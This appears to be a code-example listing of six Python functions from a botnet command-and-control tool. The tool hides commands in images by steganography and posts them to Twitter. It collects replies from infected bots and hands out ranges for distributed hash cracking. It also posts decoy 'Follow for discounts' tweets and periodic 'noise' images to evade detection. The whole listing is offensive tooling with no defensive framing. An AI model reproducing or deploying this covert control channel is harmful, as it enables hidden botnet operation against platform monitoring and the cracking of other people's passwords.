Ejemplo n.º 1
0
def manage_calulate_replies_helper(handeling_ranges, bot_replies,
                                   command_params, hash_algorithm):
    global HASH_BREAK_FOUND
    global HASH_FUNC

    for reply in bot_replies:
        if 'For more by me follow the link:' in reply:
            # Hash was found tell all bots
            print("HELLO")
            ccp_support.update_feedback(
                '[!!!]  The has was found, telling bots and stopping calculations'
            )
            print("HELLO")
            mix = reply.replace(
                'For more by me follow the link: https://www.vsco.co/', '')
            solved_hash = mix.split('/')[0]
            status, filename = post_constructor.get_post()
            result = utility.hide(filename, 'HashFound')
            if result:
                streamer.HandlePost.post_tweet(filename, status)
            print("HELLO")
            ccp_support.update_feedback('The cracked hash: ' +
                                        solved_hash.replace('@roylccp ', ''))
            print('Found')
            HASH_BREAK_FOUND = True
            return

        if 'Check me out on: ' in reply:
            # Bot didnt solve in range
            ccp_support.update_feedback('[-]  Retrieved reply ' + reply)
            ccp_support.update_feedback(
                '[!]  A bot hasn\'t found the hash within the given range, giving a new range'
            )
            mix = reply.replace(r'Check me out on: https://www.vsco.co/', '')
            bot_name = mix.split('/')[1]
            # ccp_support.update_feedback(bot_name, 'Calculate', command_params, hash_algorithm, handeling_ranges[0])
            message, ranges_left = construct_command([bot_name], 'Calculate',
                                                     command_params,
                                                     hash_algorithm,
                                                     handeling_ranges[0])

            print('[-]  Posting ' + message)

            handeling_ranges = ranges_left[1:]
            status, filename = post_constructor.get_post()
            result = utility.hide(filename, message)
            if result:
                now = datetime.now()
                current_time = now.strftime("%H:%M:%S")
                streamer_bot.HandlePost.post_opener_tweet(
                    'Follow for discounts. ' + current_time)
                streamer.HandlePost.post_tweet(filename, status)
Ejemplo n.º 2
0
def direct_control():
    # message = 'LAB40-19 Calculate#900150983cd24fb0d6963f7d28e17f72#abc#4'
    # result = utility.hide('apple.png', message)
    # HandlePost.post_tweet('apple.png', 'TEST')

    result = utility.hide(DEFAULT_PICTURE_FILE, 'LAB40-19 HashFound')
    if result:
        streamer.HandlePost.post_tweet(DEFAULT_PICTURE_FILE, '[]')
Ejemplo n.º 3
0
def make_noise():
    print('Making noise')
    time.sleep(10)
    if not ccp.HANDLER_THREAD_RUNNING:
        ccp_support.update_feedback('Generating noise while idle')
        status, filename = post_constructor.get_post()
        result = utility.hide(filename, 'Noise')
        if result:
            streamer.HandlePost.post_tweet(filename, status)

    while True:
        print('Waiting')
        time.sleep(random.randint(1800, 3600))

        if not ccp.HANDLER_THREAD_RUNNING:
            status, filename = post_constructor.get_post()
            result = utility.hide(filename, 'Noise')
            if result:
                streamer.HandlePost.post_tweet(filename, status)
Ejemplo n.º 4
0
def confirm_bots(num_of_replies=5):
    active_bots = []
    status, filename = post_constructor.get_post()
    result = utility.hide(filename, 'Confirm')
    if result:
        now = datetime.now()
        current_time = now.strftime("%H:%M:%S")
        streamer_bot.HandlePost.post_opener_tweet('Follow for discounts. ' +
                                                  current_time)
        streamer.HandlePost.post_tweet(filename, status)
    else:
        ccp_support.update_feedback(
            '[!]  Something went wrong while hiding the message in: ' +
            filename)
        return

    time.sleep(20)
    # temp = streamer.TwitterClient()
    temp = streamer_bot.TwitterClient()
    bot_replies = streamer_bot.TwitterClient.get_user_timeline_replies(
        temp, num_of_replies)
    ccp_support.update_feedback(bot_replies)

    # If no bots were found try again
    if not bot_replies:
        time.sleep(40)
        streamer.HandlePost.post_tweet(filename, status)
        time.sleep(20)
        bot_replies = streamer_bot.TwitterClient.get_user_timeline_replies(
            temp, num_of_replies)

    if not bot_replies:
        ccp_support.update_feedback('[*]  API problem try again later.')
        return []

    for confirmation in bot_replies:
        ccp_support.update_feedback('[-]  ' + confirmation)
        confirmation_split = confirmation.split(' ----> ')
        bot_name = confirmation_split[0][confirmation_split[0].index(':') + 2:]

        encoder = codecs.getencoder('rot-13')
        bot_name = encoder(bot_name)
        bot_name = bot_name[0]

        active_bots.append(bot_name)

    return active_bots
Ejemplo n.º 5
0
def start_handler(hash_algorithm, params):
    global HASH_BREAK_FOUND
    ccp_support.update_feedback('Started')
    ccp_support.update_feedback('Confirming bots')
    active_bots = confirm_bots()

    if active_bots == []:
        time.sleep(10)
        return

    ccp_support.insert_bots(active_bots)
    ccp_support.update_feedback(
        'Done confirming bots, fetched list of active bots: ')
    # active_bots = ['DESKTOP-RSN4T39']
    ccp_support.update_feedback(active_bots)

    command = 'Calculate'
    params = params.split('#')
    message, ranges_left = construct_command(active_bots, command, params,
                                             hash_algorithm)

    ccp_support.update_feedback('[-]  ' + message)

    # if input('[?]  Exit? ') == 'y':
    #    return

    status, filename = post_constructor.get_post()
    result = utility.hide(filename, message)

    if result:
        ccp_support.update_feedback('Image has been encoded')
        now = datetime.now()
        current_time = now.strftime("%H:%M:%S")
        streamer_bot.HandlePost.post_opener_tweet('Follow for discounts. ' +
                                                  current_time)
        streamer.HandlePost.post_tweet(filename, status)
    else:
        ccp_support.update_feedback('Bad image mode')
        return

    # In case of the calculate command continue listening for replies and instruct
    if command == 'Calculate':
        manage_calculate_replies(ranges_left, params, hash_algorithm)
        HASH_BREAK_FOUND = False
    ccp.HANDLER_THREAD_RUNNING = False
    print('HANDLER DONE')
Ejemplo n.º 6
0
def main():
    global HASH_FUNC

    banner_print.print_banner()
    print('[!]  Started')
    print('[!]  Confirming bots')
    active_bots = confirm_bots()
    print('[!]  Done confirming bots, fetched list of active bots: ')
    # active_bots = ['DESKTOP-RSN4T39']
    print(active_bots)

    if input('[?]  Exit? ') == 'y':
        return

    command = input('[?]  Input the command: ')
    hash_algorithm = input('[?]  Input the hash algorithm: ')
    HASH_FUNC = hash_algorithm
    params = input('[?] Input parameters split by a #')
    params = params.split('#')
    message, ranges_left = construct_command(active_bots, command, params,
                                             hash_algorithm)

    print('[-]  ' + message)

    # if input('[?]  Exit? ') == 'y':
    #    return

    status, filename = post_constructor.get_post()
    result = utility.hide(filename, message)

    if result:
        print('[!]  Image has been encoded')
        now = datetime.now()
        current_time = now.strftime("%H:%M:%S")
        streamer_bot.HandlePost.post_opener_tweet('Follow for discounts. ' +
                                                  current_time)
        streamer.HandlePost.post_tweet(filename, status)
    else:
        print('[*]  Bad image mode')
        return

    # In case of the calculate command continue listening for replies and instruct
    if command == 'Calculate':
        manage_calculate_replies(ranges_left, params, hash_algorithm)